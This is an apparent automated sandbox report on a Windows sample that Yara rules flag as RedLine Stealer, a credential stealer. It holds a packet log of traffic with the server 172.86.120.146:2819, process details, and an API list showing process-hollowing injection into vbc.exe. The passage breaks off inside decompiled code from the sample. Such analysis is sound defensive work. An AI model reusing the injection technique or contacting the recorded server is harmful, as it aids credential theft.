Nov 30, 2022 00:11:49.800287962 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800306082 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800323009 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800340891 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800359011 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800375938 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800395012 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802109957 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802134037 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802150965 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802169085 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802185059 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802201033 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802217007 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802232981 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802248955 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802265882 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802283049 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802299023 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802316904 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802339077 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802462101 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802552938 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802570105 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802584887 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802599907 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802599907 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.802618980 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.802774906 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.802774906 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.803051949 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.803169966 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.943634987 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.943674088 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.943689108 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.943701982 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.943712950 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.943773031 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.943785906 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.943901062 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.943984032 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.944104910 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.944144964 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.944356918 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.944371939 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.944457054 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.944919109 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945024967 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945061922 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945108891 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945142031 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945183992 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945262909 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945417881 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945434093 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945488930 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945766926 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945776939 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945786953 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.945895910 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946037054 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946052074 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946155071 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946168900 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946228981 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946398020 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946418047 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946430922 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946460962 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946502924 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946544886 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946600914 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946666956 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946703911 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.946827888 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.947088957 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.947108984 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.965569019 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.965743065 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.965743065 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.965830088 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.965893984 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.106520891 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.106585979 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.106663942 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.106699944 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.106765985 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.106833935 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.106920004 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107075930 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107114077 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107141018 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107181072 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107213020 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107248068 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107269049 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107289076 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107328892 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107372999 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107408047 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107441902 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107475042 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107501030 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107537031 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107568979 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107615948 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107636929 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107764959 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107790947 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107811928 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107837915 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107845068 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.107914925 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107954979 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.107969046 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.108006001 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.108179092 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.108216047 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.108237982 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.108270884 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.108292103 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.110532045 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.111027956 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.111138105 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.248764038 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.248820066 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.248837948 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.248931885 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249003887 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249042988 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249171972 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249201059 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249351025 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249377012 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249402046 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249450922 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249567032 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249588013 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249618053 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249670029 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249809980 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.249847889 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.250055075 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.250093937 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.250118017 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.250299931 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.250320911 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.251574039 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.251647949 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.251667023 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.251724958 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.251808882 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.251844883 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252084970 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252121925 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252151012 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252194881 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.252254963 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252284050 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252331972 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.252429962 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252446890 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252532005 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252633095 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252684116 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252737045 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252813101 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252888918 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.252969980 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.253062010 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.253081083 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.253232956 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.253259897 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.253676891 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.393034935 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393062115 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393245935 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393261909 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393310070 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393322945 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393533945 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393548965 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393626928 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393640041 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393757105 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393769979 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393819094 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393832922 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.393989086 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394068956 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394082069 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394102097 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394294024 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394320965 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394334078 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394367933 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394380093 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394395113 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394519091 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394540071 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394575119 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394608021 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394622087 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394640923 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394763947 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394788980 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394803047 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394953012 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.394973040 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.395020962 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.396188974 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:50.447269917 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:50.896341085 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:51.041675091 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:51.073853970 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:51.216308117 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:51.337212086 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:53.336538076 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:53.479506016 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:53.479530096 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:53.514161110 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:53.680763960 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:53.728080988 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:53.759318113 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:53.900614023 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:53.947206974 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:54.099548101 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:54.240752935 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:54.244271040 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:54.291671038 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:54.496781111 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:54.639777899 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:54.639801025 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:54.642904997 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:54.786081076 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:54.837551117 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:54.951024055 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:55.093327999 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:55.093581915 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:55.094235897 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:55.237761974 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:55.241038084 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:55.382822037 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:55.431400061 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:55.560472965 CET	49684	2819	192.168.2.3	172.86.120.146

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5316, Parent PID: 3452

General

Target ID:	0
Start time:	00:11:11
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x3e0000
File size:	2564217 bytes
MD5 hash:	B285997D1FB1ED7FF9129E4E9566C2E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.263012533.00000000010B2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5332, Parent PID: 5316

General

Target ID:	1
Start time:	00:11:11
Start date:	30/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 5384, Parent PID: 5316

General

Target ID:	2
Start time:	00:11:12
Start date:	30/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe
Imagebase:	0xa90000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5316, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	37.5%
Signature Coverage:	37.5%
Total number of Nodes:	56
Total number of Limit Nodes:	9

Executed Functions

Function 004A11A1 Relevance: 25.0, APIs: 13, Strings: 1, Instructions: 467
memorythreadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 004A1482
GetThreadContext.KERNELBASE(?,00010007), ref: 004A1497
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 004A14B8
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 004A14EA
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 004A150A
VirtualAllocEx.KERNELBASE(?,00000000,?,00003000,00000040), ref: 004A1547
WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000000), ref: 004A163D
VirtualProtectEx.KERNELBASE(?,?,?,00000002,?), ref: 004A165A
VirtualProtectEx.KERNELBASE(?,?,?,00000001,?), ref: 004A16C4
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 004A16E6
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 004A1701
SetThreadContext.KERNELBASE(?,00010007), ref: 004A171E
ResumeThread.KERNELBASE(?), ref: 004A172B

Strings

D, xrefs: 004A13DA

Memory Dump Source

Source File: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$Process$AllocMemoryThread$ContextProtectWrite$CreateFreeReadResume
String ID: D
API String ID: 2402967479-2746444292
Opcode ID: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction ID: a8e6fc663118878cea011b2a76b8997efd44539e1e5e9284e1e904954a329f2c
Opcode Fuzzy Hash: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction Fuzzy Hash: 1D121975D002199BDF21CFA4CD84BEEBBB9FF19704F1480AAE509E6260E7749A85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 003E1150 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 162
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E003E1150(char _a4) {
				void* _v24;
				signed short _v52;
				signed char _v56;
				char _v100;
				intOrPtr _v116;
				void* _v120;
				intOrPtr _v124;
				void* _v136;
				signed int _v140;
				void* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t44;
				_Unknown_base(*)()* _t46;
				signed char** _t48;
				signed char* _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t54;
				signed int _t57;
				intOrPtr _t59;
				signed int _t61;
				void* _t63;
				signed int _t66;
				signed int _t73;
				signed int _t75;
				void* _t78;
				char* _t81;
				signed int _t84;
				struct _STARTUPINFOA* _t90;
				signed int _t91;
				signed int _t92;
				signed int* _t93;
				intOrPtr _t99;
				signed int* _t102;
				intOrPtr* _t105;
				signed int _t106;
				signed int _t109;
				signed int _t114;
				void* _t117;
				signed int* _t118;

				L0:
				while(1) {
					L0:
					_t81 =  &_a4;
					_push( *((intOrPtr*)(_t81 - 4)));
					_t90 =  &_v100;
					_push(_t81);
					memset(_t90, 0, 0x11 << 2);
					_t117 = (_t114 & 0xfffffff0) - 0x78 + 0xc;
					if( *0x513060 != 0) {
						GetStartupInfoA(_t90);
						_t117 = _t117 - 4;
					}
					_t99 =  *((intOrPtr*)( *[fs:0x18] + 4));
					_t105 = Sleep;
					while(1) {
						L4:
						asm("lock cmpxchg [0x513ac4], edi");
						if(0 == 0) {
							break;
						}
						L2:
						if(_t99 == 0) {
							L36:
							_t73 = 1;
							if( *0x513ac0 != 1) {
								L6:
								if( *0x513ac0 == 0) {
									_v140 = 0x515014;
									_v144 = 0x51500c;
									 *0x513ac0 = 1;
									L004042D0();
								} else {
									 *0x513008 = 1;
								}
								if( *0x513ac0 == 1) {
									L38:
									_v140 = 0x515008;
									_v144 = 0x515000;
									L004042D0();
									 *0x513ac0 = 2;
									if(_t73 != 0) {
										goto L10;
									}
									goto L39;
								} else {
									L9:
									if(_t73 == 0) {
										L39:
										_t32 = _t73;
										_t73 =  *0x513ac4;
										 *0x513ac4 = _t32;
									}
									L10:
									_t44 = "pS?"; // 0x3f5370
									if(_t44 != 0) {
										_v136 = 0;
										_v140 = 2;
										_v144 = 0;
										 *_t44();
